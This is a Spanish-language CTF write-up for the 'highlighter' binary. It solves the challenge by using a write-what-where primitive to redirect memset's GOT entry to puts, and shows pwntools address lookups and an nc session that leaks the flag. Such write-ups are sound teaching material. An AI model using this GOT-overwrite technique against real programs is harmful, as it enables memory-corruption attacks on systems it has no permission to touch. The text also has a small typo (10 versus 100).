Highlighter
2 minutos de lectura
Se nos proporciona un binario llamado highlighter
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Si usamos Ghidra, veremos el siguiente código descompilado de la función main
:
int main() {
int __fd;
long in_FS_OFFSET;
undefined8 *where;
undefined8 what;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setbuf(stdin, (char *) 0x0);
setbuf(stdout, (char *) 0x0);
__fd = open("flag.txt", 0);
read(__fd, flag, 100);
puts("Write what?");
__isoc99_scanf("%ld%*c", &what);
puts("Where?");
__isoc99_scanf("%ld%*c", &where);
*where = what;
memset(flag, 0, 100);
puts("Bye!");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Básicamente, tenemos una manera de escribir el valor que queramos en la dirección que indiquemos (esto se conoce como primitiva write-what-where o primitiva de escritura arbitraria). Para obtener la flag, hay que ver el uso de memset
al final. Usando la primitiva de escritura arbitraria, podemos modificar la Tabla de Offsets Globales (GOT), de manera que memset
apunte a puts
en la Tabla de Enlaces a Procedimientos (PLT). De esta manera, haremos que el binario ejecute puts(flag, 0, 100)
en lugar de memset(flag, 0, 10)
.
Podemos encontrar los valores que necesitamos con pwntools
:
$ python3 -q
>>> from pwn import ELF
>>> elf = ELF('highlighter', checksec=False)
>>> elf.got.memset
4210736
>>> elf.plt.puts
4198564
>>> exit()
Vamos allá (nótese que hay que poner los valores en formato decimal):
$ nc chal.imaginaryctf.org 8091
Write what?
4198564
Where?
4210736
ictf{writing_is_hard_but_satisfying_sometimes}
Bye!